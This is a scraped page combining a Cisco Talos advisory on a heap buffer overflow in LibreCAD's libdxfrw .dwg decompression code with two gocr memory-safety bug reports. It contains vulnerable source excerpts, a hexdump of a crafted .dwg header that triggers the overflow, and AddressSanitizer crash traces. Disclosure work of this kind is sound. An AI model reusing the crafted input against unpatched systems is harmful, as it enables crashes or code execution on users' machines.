dwgReader18::readDwgHeader(DRW\_Header&) /root/boop/assorted\_fuzzing/librecad/LibreCAD\_master/libraries/libdxfrw/src/intern/dwgreader18.cpp:410:16 #8 0x7f6d8432b37b in dwgReader24::readDwgHeader(DRW\_Header&) /root/boop/assorted\_fuzzing/librecad/LibreCAD\_master/libraries/libdxfrw/src/intern/dwgreader24.cpp:33:29 #9 0x7f6d83da7189 in dwgR::processDwg() /root/boop/assorted\_fuzzing/librecad/LibreCAD\_master/libraries/libdxfrw/src/libdwgr.cpp:241:19 #10 0x7f6d83da6410 in dwgR::read(DRW\_Interface\*, bool) /root/boop/assorted\_fuzzing/librecad/LibreCAD\_master/libraries/libdxfrw/src/libdwgr.cpp:158:20 #11 0x55073c in LLVMFuzzerTestOneInput /root/boop/assorted\_fuzzing/librecad/fuzzing/dwg/./dwg\_harness.cpp:65:9 #12 0x4587e1 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const\*, unsigned long) (/root/boop/assorted\_fuzzing/librecad/fuzzing/dwg/triaged/dwg\_fuzzer.bin+0x4587e1) #13 0x443f52 in fuzzer::RunOneTest(fuzzer::Fuzzer\*, char const\*, unsigned long) (/root/boop/assorted\_fuzzing/librecad/fuzzing/dwg/triaged/dwg\_fuzzer.bin+0x443f52) #14 0x449a06 in fuzzer::FuzzerDriver(int\*, char\*\*\*, int (\*)(unsigned char const\*, unsigned long)) (/root/boop/assorted\_fuzzing/librecad/fuzzing/dwg/triaged/dwg\_fuzzer.bin+0x449a06) #15 0x4726c2 in main (/root/boop/assorted\_fuzzing/librecad/fuzzing/dwg/triaged/dwg\_fuzzer.bin+0x4726c2) #16 0x7f6d833c10b2 in \_\_libc\_start\_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /root/boop/assorted\_fuzzing/librecad/LibreCAD\_master/libraries/libdxfrw/src/intern/dwgutil.cpp:208:26 in dwgCompressor::decompress18(unsigned char_, unsigned char_, unsigned int, unsigned int) Shadow bytes around the buggy address: 0x0c587fff8e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c587fff8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c587fff8e90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c587fff8ea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c587fff8eb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c587fff8ec0:\[fa\]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c587fff8ed0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c587fff8ee0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c587fff8ef0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c587fff8f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c587fff8f10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==1043701==ABORTING

**Timeline**

2021-08-04 - Vendor Disclosure

2021-11-10 - Vendor Patched  
2021-11-17 - Public Release

Discovered by Lilith >\_> of Cisco Talos.

CVE-2021-21898: TALOS-2021-1349 || Cisco Talos Intelligence Group

A code execution vulnerability exists in the dwgCompressor::copyCompBytes21 functionality of LibreCad libdxfrw 2.2.0-rc2-19-ge02f3580. A specially-crafted .dwg file can lead to a heap buffer overflow. An attacker can provide a malicious file to trigger this vulnerability.

**Summary**

A code execution vulnerability exists in the dwgCompressor::copyCompBytes21 functionality of LibreCad libdxfrw 2.2.0-rc2-19-ge02f3580. A specially-crafted .dwg file can lead to a heap buffer overflow. An attacker can provide a malicious file to trigger this vulnerability.

**Tested Versions**

LibreCad libdxfrw 2.2.0-rc2-19-ge02f3580

**Product URLs**

https://librecad.org/

**CVSSv3 Score**

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

**CWE**

CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer

**Details**

Libdfxfw is an opensource library facilitating the reading and writing of .dxf and .dwg files, the primary vector graphics file formats of CAD software. Libdxfrw is contained in and primarily used by LibreCAD for the aforementioned purposes.

Libdxfrw is capable of reading in many different versions of .dwg files. The backwards compatibility is quite extensive, and likewise the particulars for each given version are also quite extensive. For today’s vulnerability, we deal with the AC1021 version, the AutoCAD .dwg standard from 2007 through 2009.

To keep things relatively short, let’s examine how libdxfrw reads in AC1021 .dwg headers:

    bool dwgReader21::readFileHeader() {
    
     //DRW_DBG("\n\ndwgReader21::parsing file header\n");
     if (! fileBuf->setPosition(0x80))                // [1]
         return false;
     duint8 fileHdrRaw[0x2FD];//0x3D8
     fileBuf->getBytes(fileHdrRaw, 0x2FD);  // [2]
     duint8 fileHdrdRS[0x2CD];
     dwgRSCodec::decode239I(fileHdrRaw, fileHdrdRS, 3); // [3]
    

As shown by \[1\], .dwg file headers start at offset 0x80, an example of which will soon be posted. At \[2\], the headers are read into a static buffer, and at \[3\] the headers are decoded. Thus, for an input file of:

    00000000  41 43 31 30 32 31 00 00  00 00 00 25 03 c0 00 1d  |AC1021.....%....|
    00000010  25 00 01 00 00 00 00 00  00 20 01 00 00 00 00 00  |%........ ......|
    00000020  00 80 00 00 00 e0 11 02  00 00 15 02 00 00 00 01  |................|
    00000030  01 00 00 00 00 00 01 00  00 00 00 00 00 00 00 00  |................|
    00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    *
    00000070  00 00 00 00 00 00 00 00  00 68 f8 f7 92 2a b5 ef  |.........h...*..|  
    00000080  18 dd 0b f1 f1 bb e9 eb  00 00 00 01 00 00 00 09  |................| 
    00000090  00 41 00 75 00 74 00 6f  00 64 00 65 00 73 00 6b  |.A.u.t.o.d.e.s.k|
    000000a0  06 50 04 31 40 40 4d 5c  a7 22 98 1d 02 54 01 48  |.P.1@@M\."...T.H|
    000000b0  01 18 44 ab 54 f9 2d d1  04 41 27 d4 22 78 3b a1  |..D.T.-..A'."x;.|
    000000c0  22 bd 22 91 9d e1 8b 1f  da 54 9a fc 5f           |"."......T.._|
    000000cd
    

We end up with a decoded input buffer of:

    [~.~]> x/191wx fileHdrdRS
    0x7fff66b00b70: 0x00e9f118      0x74000900      0x50006500      0x54985c40
    0x7fff66b00b80: 0x412dab01      0xe122a122      0x0000fcda      0x00000000 
    0x7fff66b00b90: 0x00000000      0x00000000      0x00000000      0x00000000
    0x7fff66b00ba0: 0x00000000      0x00000000      0x00000000      0x00000000
    0x7fff66b00bb0: 0x00000000      0x00000000      0x00000000      0x00000000
    0x7fff66b00bc0: 0x00000000      0x00000000      0x00000000      0x00000000
    0x7fff66b00bd0: 0x00000000      0x00000000      0x00000000      0x00000000
    0x7fff66b00be0: 0x00000000      0x00000000      0x00000000      0x00000000
    0x7fff66b00bf0: 0x00000000      0x00000000      0x00000000      0x00000000
    0x7fff66b00c00: 0x00000000      0x00000000      0x00000000      0x00000000
    0x7fff66b00c10: 0x00000000      0x00000000      0x00000000      0x00000000
    0x7fff66b00c20: 0x00000000      0x00000000      0x00000000      0x00000000
    0x7fff66b00c30: 0x00000000      0x00000000      0x00000000      0x00000000
    0x7fff66b00c40: 0x00000000      0x00000000      0x00000000      0x00000000
    0x7fff66b00c50: 0x00000000      0x00000000      0x00000000      0xdd000000
    0x7fff66b00c60: 0x0000ebf1      0x64007500      0x40046b00      0x18011da7
    0x7fff66b00c70: 0x7827d154      0x548b9122      0x0000005f      0x00000000
    0x7fff66b00c80: 0x00000000      0x00000000      0x00000000      0x00000000
    

Immediately following the decoding, we populate two more variables, fileHdrCompLength and fileHdrCompLength2:

     dwgRSCodec::decode239I(fileHdrRaw, fileHdrdRS, 3);
    
    dint32 fileHdrCompLength = fileHdrBuf.getRawLong32();
    dcint32 fileHdrCompLength2 = fileHdrBuf.getRawLong32();
    

Which get populated with 0x0000fcda and 0x00000000 respectively from the decoded buffer:

    [~.~]> x/191wx fileHdrdRS
    0x7fff66b00b70: 0x00e9f118      0x74000900      0x50006500      0x54985c40
    0x7fff66b00b80: 0x412dab01      0xe122a122      0x0000fcda      0x00000000  //<- fileHdrCompLength/fileHdrCompLength2
    

Needless to say, the fileHdrCompLength variable is completely controlled by the input file. Continuing on within dwgReader21::readFileHeader():

     dwgRSCodec::decode239I(fileHdrRaw, fileHdrdRS, 3);
    
    dint32 fileHdrCompLength = fileHdrBuf.getRawLong32();
    dcint32 fileHdrCompLength2 = fileHdrBuf.getRawLong32();
    
    int fileHdrDataLength = 0x110;   
    std::vector<duint8> fileHdrData;
    if (fileHdrCompLength < 0) {           // [4]
        // [...] no compression 
    }else {                                // [5]
        //DRW_DBG("\ndwgReader21:: file header are compresed:\n");
        std::vector<duint8> compByteStr(fileHdrCompLength);    
        fileHdrBuf.getBytes(compByteStr.data(), fileHdrCompLength);
        fileHdrData.resize(fileHdrDataLength);   // [6]
        dwgCompressor::decompress21(compByteStr.data(), &fileHdrData.front(), // [7]
                                    fileHdrCompLength, fileHdrDataLength);
    }
    

The branch at \[4\] is for a .dwg file without compression, but frankly that’s boring so it’s skipped. At \[5\] we deal with the much more fun and compressed .dwg files. Since we control fileHdrCompLength, we have a choice of branch, and we go with compressed. At \[6\], a static sized buffer of 0x110 bytes is created to contain the resultant decompressed header bytes, and the decompression itself occurs at \[7\] in dwgCompressor::decompress21(), which we now examine:

    void dwgCompressor::decompress21(duint8 *cbuf, duint8 *dbuf, duint32 csize, duint32 dsize){
        duint32 srcIndex=0;         // controlled, 0x110 malloc, controlled,    0x110, always
        duint32 dstIndex=0;
        duint32 length=0;
        duint32 sourceOffset;
        duint8 opCode;
    
        opCode = cbuf[srcIndex++];
        if ((opCode >> 4) == 2){
            srcIndex = srcIndex +2;
            length = cbuf[srcIndex++] & 0x07;
        }
    
        while (srcIndex < csize && (dstIndex < dsize+1)){  // [8] //dstIndex < dsize to prevent crash more robust are needed
            if (length == 0)
                length = litLength21(cbuf, opCode, &srcIndex);           // [9]
            copyCompBytes21(cbuf, dbuf, length, srcIndex, dstIndex);   // [10]
            srcIndex += length;
            dstIndex += length;
            if (dstIndex >=dsize) break; // [11] //check if last chunk are compresed & terminate
    

To ellucidate and reiterate, the cbuf and csize arguments are fully controlled by the input file, while dbuf anddsize are a 0x110 sized allocation and corresponding size. This hopefully gives away the vulnerability, as the only real length checks are at the aptly-commented \[8\] and \[11\]. At \[9\] we find the length field to pass into the copyCompBytes21() function at \[10\] (assuming that length is currently 0x0, something fully within the file’s control). To proceed, we first look at litLength21() and then copyCompBytes21:

    duint32 dwgCompressor::litLength21(duint8 *cbuf, duint8 oc, duint32 *si){
    
        duint32 srcIndex=*si;
    
        duint32 length = oc + 8;
        if (length == 0x17) {
            duint32 n = cbuf[srcIndex++];
            length += n;
            if (n == 0xff) {
                do {
                    n = cbuf[srcIndex++];
                    n |= (duint32)(cbuf[srcIndex++] << 8);
                    length += n;
                } while (n == 0xffff); 
            }
        }
    
        *si = srcIndex;
        return length;
    }
    

Not worth going into too much detail; all we really care about is that the return length can be any value from 0x0 to 0xFFFFFFFF. With that in mind we now peek at copyCompBytes21(cbuf, dbuf, length, srcIndex, dstIndex):

    void dwgCompressor::copyCompBytes21(duint8 *cbuf, duint8 *dbuf, duint32 l, duint32 si, duint32 di){
        duint32 length =l;
        duint32 dix = di;
        duint32 six = si;
    
        while (length > 31){
                //in doc: 16-31, 0-15
            for (duint32 i = six+24; i<six+32; i++)
                dbuf[dix++] = cbuf[i];
            for (duint32 i = six+16; i<six+24; i++)
                dbuf[dix++] = cbuf[i];
            for (duint32 i = six+8; i<six+16; i++)
                dbuf[dix++] = cbuf[i];
            for (duint32 i = six; i<six+8; i++)
                dbuf[dix++] = cbuf[i];
            six = six + 32;
            length = length -32;
        }
    
        switch (length) {
            case 0:
                break;
            case 1: //Ok
                dbuf[dix] = cbuf[six];
                break;
            case 2: //Ok
                dbuf[dix++] = cbuf[six+1];
                dbuf[dix] = cbuf[six];
                break;
       
      //[...]
       
               case 31:
            //in doc: six+30, 26-29, 18-25, 2-17, 0-1
            dbuf[dix++] = cbuf[six+30];
            for (int i = 26; i<30;i++)
                dbuf[dix++] = cbuf[six+i];
            for (int i = 18; i<26;i++)
                dbuf[dix++] = cbuf[six+i];
    /*        for (int i = 2; i<18; i++)
                dbuf[dix++] = cbuf[six+i];*/
            for (int i = 10; i<18; i++)
                dbuf[dix++] = cbuf[six+i];
            for (int i = 2; i<10; i++)
                dbuf[dix++] = cbuf[six+i];
            dbuf[dix++] = cbuf[six+1];
            dbuf[dix] = cbuf[six];
            break;
        default:
            DRW_DBG("WARNING dwgCompressor::copyCompBytes21, bad output.\n");
            break;
    } }
    

As one can quite clearly see, still no length checks anywhere within this function. If we pass an input buffer that is greater than 0x110 bytes, or if we pass a compressed chunk when our dstIndex is at 0x10F, we end up copying bytes directly from our fully controlled input buffer into the fixed 0x110 size heap buffer, resulting in a fully controlled heap buffer overflow.

**Crash Information**

\================================================================= ==996143==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6120000005d0 at pc 0x7f34d4675a85 bp 0x7fff66afecb0 sp 0x7fff66afeca8 WRITE of size 1 at 0x6120000005d0 thread T0 #0 0x7f34d4675a84 in dwgCompressor::copyCompBytes21(unsigned char_, unsigned char_, unsigned int, unsigned int, unsigned int) /root/boop/assorted\_fuzzing/librecad/LibreCAD\_master/libraries/libdxfrw/src/intern/dwgutil.cpp:423:25 #1 0x7f34d46722d5 in dwgCompressor::decompress21(unsigned char_, unsigned char_, unsigned int, unsigned int) /root/boop/assorted\_fuzzing/librecad/LibreCAD\_master/libraries/libdxfrw/src/intern/dwgutil.cpp:272:9 #2 0x7f34d461feb2 in dwgReader21::readFileHeader() /root/boop/assorted\_fuzzing/librecad/LibreCAD\_master/libraries/libdxfrw/src/intern/dwgreader21.cpp:167:9 #3 0x7f34d4128364 in dwgR::read(DRW\_Interface_, bool) /root/boop/assorted\_fuzzing/librecad/LibreCAD\_master/libraries/libdxfrw/src/libdwgr.cpp:156:24 #4 0x55073c in LLVMFuzzerTestOneInput /root/boop/assorted\_fuzzing/librecad/fuzzing/dwg/./dwg\_harness.cpp:65:9 #5 0x4587e1 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const_, unsigned long) (/root/boop/assorted\_fuzzing/librecad/fuzzing/dwg/triaged/dwg\_fuzzer.bin+0x4587e1) #6 0x443f52 in fuzzer::RunOneTest(fuzzer::Fuzzer_, char const_, unsigned long) (/root/boop/assorted\_fuzzing/librecad/fuzzing/dwg/triaged/dwg\_fuzzer.bin+0x443f52) #7 0x449a06 in fuzzer::FuzzerDriver(int_, char__\*, int (_)(unsigned char const\*, unsigned long)) (/root/boop/assorted\_fuzzing/librecad/fuzzing/dwg/triaged/dwg\_fuzzer.bin+0x449a06) #8 0x4726c2 in main (/root/boop/assorted\_fuzzing/librecad/fuzzing/dwg/triaged/dwg\_fuzzer.bin+0x4726c2) #9 0x7f34d37430b2 in \_\_libc\_start\_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 #10 0x41e61d in \_start (/root/boop/assorted\_fuzzing/librecad/fuzzing/dwg/triaged/dwg\_fuzzer.bin+0x41e61d)

0x6120000005d0 is located 0 bytes to the right of 272-byte region \[0x6120000004c0,0x6120000005d0) allocated by thread T0 here: #0 0x54da9d in operator new(unsigned long) (/root/boop/assorted\_fuzzing/librecad/fuzzing/dwg/triaged/dwg\_fuzzer.bin+0x54da9d) #1 0x7f34d45ba38b in \_\_gnu\_cxx::new\_allocator::allocate(unsigned long, void const\*) /usr/bin/../lib/gcc/x86\_64-linux-gnu/9/../../../../include/c++/9/ext/new\_allocator.h:114:27 #2 0x7f34d45ba2b8 in std::allocator\_traits<std::allocator >::allocate(std::allocator&, unsigned long) /usr/bin/../lib/gcc/x86\_64-linux-gnu/9/../../../../include/c++/9/bits/alloc\_traits.h:444:20 #3 0x7f34d45b985f in std::\_Vector\_base<unsigned char, std::allocator >::\_M\_allocate(unsigned long) /usr/bin/../lib/gcc/x86\_64-linux-gnu/9/../../../../include/c++/9/bits/stl\_vector.h:343:20 #4 0x7f34d45b8d46 in std::vector<unsigned char, std::allocator >::\_M\_default\_append(unsigned long) /usr/bin/../lib/gcc/x86\_64-linux-gnu/9/../../../../include/c++/9/bits/vector.tcc:635:34 #5 0x7f34d4584342 in std::vector<unsigned char, std::allocator >::resize(unsigned long) /usr/bin/../lib/gcc/x86\_64-linux-gnu/9/../../../../include/c++/9/bits/stl\_vector.h:937:4 #6 0x7f34d461fe65 in dwgReader21::readFileHeader() /root/boop/assorted\_fuzzing/librecad/LibreCAD\_master/libraries/libdxfrw/src/intern/dwgreader21.cpp:166:21 #7 0x7f34d4128364 in dwgR::read(DRW\_Interface\*, bool) /root/boop/assorted\_fuzzing/librecad/LibreCAD\_master/libraries/libdxfrw/src/libdwgr.cpp:156:24 #8 0x55073c in LLVMFuzzerTestOneInput /root/boop/assorted\_fuzzing/librecad/fuzzing/dwg/./dwg\_harness.cpp:65:9 #9 0x4587e1 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const\*, unsigned long) (/root/boop/assorted\_fuzzing/librecad/fuzzing/dwg/triaged/dwg\_fuzzer.bin+0x4587e1) #10 0x443f52 in fuzzer::RunOneTest(fuzzer::Fuzzer\*, char const\*, unsigned long) (/root/boop/assorted\_fuzzing/librecad/fuzzing/dwg/triaged/dwg\_fuzzer.bin+0x443f52) #11 0x449a06 in fuzzer::FuzzerDriver(int\*, char\*\*\*, int (\*)(unsigned char const\*, unsigned long)) (/root/boop/assorted\_fuzzing/librecad/fuzzing/dwg/triaged/dwg\_fuzzer.bin+0x449a06) #12 0x4726c2 in main (/root/boop/assorted\_fuzzing/librecad/fuzzing/dwg/triaged/dwg\_fuzzer.bin+0x4726c2) #13 0x7f34d37430b2 in \_\_libc\_start\_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /root/boop/assorted\_fuzzing/librecad/LibreCAD\_master/libraries/libdxfrw/src/intern/dwgutil.cpp:423:25 in dwgCompressor::copyCompBytes21(unsigned char_, unsigned char_, unsigned int, unsigned int, unsigned int) Shadow bytes around the buggy address: 0x0c247fff8060: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c247fff8070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c247fff8080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa 0x0c247fff8090: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c247fff80a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c247fff80b0: 00 00 00 00 00 00 00 00 00 00\[fa\]fa fa fa fa fa 0x0c247fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c247fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c247fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c247fff80f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c247fff8100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==996143==ABORTING

**Timeline**

2021-08-04 - Vendor Disclosure  
2021-11-10 - Vendor Patched

2021-11-17 - Public Release

Discovered by Lilith >\_> of Cisco Talos.

CVE-2021-21899: TALOS-2021-1350 || Cisco Talos Intelligence Group

An use-after-free vulnerability was discovered in gocr through 0.53-20200802 in context_correction() in pgm2asc.c.

**System info**

Ubuntu X64, gcc (Ubuntu 5.5.0-12ubuntu1), gocr (latest jocr-dev 0.53-20200802)

**Configure**

CFLAGS="-g -fsanitize=address" LDFLAGS="-fsanitize=address" ./configure

**Command line**

./src/gocr -m 4 ./use-after-free-context\_correction-pgm2asc-2817

**AddressSanitizer output**

\=================================================================
\==33563\==ERROR: AddressSanitizer: heap\-use\-after\-free on address 0x61a000001ea4 at pc 0x00000054552b bp 0x7ffde2563980 sp 0x7ffde2563978
READ of size 4 at 0x61a000001ea4 thread T0
    #0 0x54552a in context\_correction /home/seviezhou/AlphaFuzz/targets/jocr/src/pgm2asc.c:2817:39
    #1 0x54a291 in pgm2asc /home/seviezhou/AlphaFuzz/targets/jocr/src/pgm2asc.c:3427:28
    #2 0x518776 in main /home/seviezhou/AlphaFuzz/targets/jocr/src/gocr.c:350:5
    #3 0x7f394175f83f in \_\_libc\_start\_main /build/glibc\-e6zv40/glibc\-2.23/csu/../csu/libc\-start.c:291
    #4 0x41a768 in \_start (/home/seviezhou/AlphaFuzz/targets/gocr/src/gocr+0x41a768)

0x61a000001ea4 is located 36 bytes inside of 1376\-byte region \[0x61a000001e80,0x61a0000023e0)
freed by thread T0 here:
    #0 0x4de7b8 in \_\_interceptor\_cfree.localalias.0 /home/seviezhou/llvm\-6.0.0/projects/compiler\-rt/lib/asan/asan\_malloc\_linux.cc:76
    #1 0x54c1a7 in free\_box /home/seviezhou/AlphaFuzz/targets/jocr/src/box.c:122:3

previously allocated by thread T0 here:
    #0 0x4de978 in \_\_interceptor\_malloc /home/seviezhou/llvm\-6.0.0/projects/compiler\-rt/lib/asan/asan\_malloc\_linux.cc:88
    #1 0x54bdc2 in malloc\_box /home/seviezhou/AlphaFuzz/targets/jocr/src/box.c:96:24

SUMMARY: AddressSanitizer: heap\-use\-after\-free /home/seviezhou/AlphaFuzz/targets/jocr/src/pgm2asc.c:2817:39 in context\_correction
Shadow bytes around the buggy address:
  0x0c347fff8380: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c347fff8390: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c347fff83a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c347fff83b0: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa
  0x0c347fff83c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
\=>0x0c347fff83d0: fd fd fd fd\[fd\]fd fd fd fd fd fd fd fd fd fd fd
  0x0c347fff83e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c347fff83f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c347fff8400: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c347fff8410: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c347fff8420: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
\==33563\==ABORTING

CVE-2021-33480: Optical Character Recognition (GOCR) / Bugs

A stack-based buffer overflow vulnerability was discovered in gocr through 0.53-20200802 in measure_pitch() in pgm2asc.c.

**System info**

Ubuntu X64, gcc (Ubuntu 5.5.0-12ubuntu1), gocr (latest jocr-dev 0.53-20200802)

**Configure**

CFLAGS="-g -fsanitize=address" LDFLAGS="-fsanitize=address" ./configure

**Command line**

./src/gocr -m 4 @@

**AddressSanitizer output**

\=================================================================
\==38065\==ERROR: AddressSanitizer: stack\-buffer\-underflow on address 0x7ffe7647eb3c at pc 0x00000052ddff bp 0x7ffe7647eb10 sp 0x7ffe7647eb08
READ of size 4 at 0x7ffe7647eb3c thread T0
    #0 0x52ddfe in measure\_pitch /home/seviezhou/jocr/src/pgm2asc.c:1689:24
    #1 0x549a9f in pgm2asc /home/seviezhou/jocr/src/pgm2asc.c:3377:3
    #2 0x518776 in main /home/seviezhou/jocr/src/gocr.c:350:5
    #3 0x7ff058f3083f in \_\_libc\_start\_main /build/glibc\-e6zv40/glibc\-2.23/csu/../csu/libc\-start.c:291
    #4 0x41a768 in \_start (/home/seviezhou/gocr/src/gocr+0x41a768)

Address 0x7ffe7647eb3c is located in stack of thread T0 at offset 28 in frame
    #0 0x529aaf in measure\_pitch /home/seviezhou/jocr/src/pgm2asc.c:1455

  This frame has 1 object(s):
    \[32, 4128) 'pdists' (line 1456) <== Memory access at offset 28 underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
      (longjmp and C++ exceptions \*are\* supported)
SUMMARY: AddressSanitizer: stack\-buffer\-underflow /home/seviezhou/jocr/src/pgm2asc.c:1689:24 in measure\_pitch
Shadow bytes around the buggy address:
  0x10004ec87d10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004ec87d20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004ec87d30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004ec87d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004ec87d50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
\=>0x10004ec87d60: 00 00 00 00 f1 f1 f1\[f1\]00 00 00 00 00 00 00 00
  0x10004ec87d70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004ec87d80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004ec87d90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004ec87da0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004ec87db0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
\==38065\==ABORTING

Tag

#c++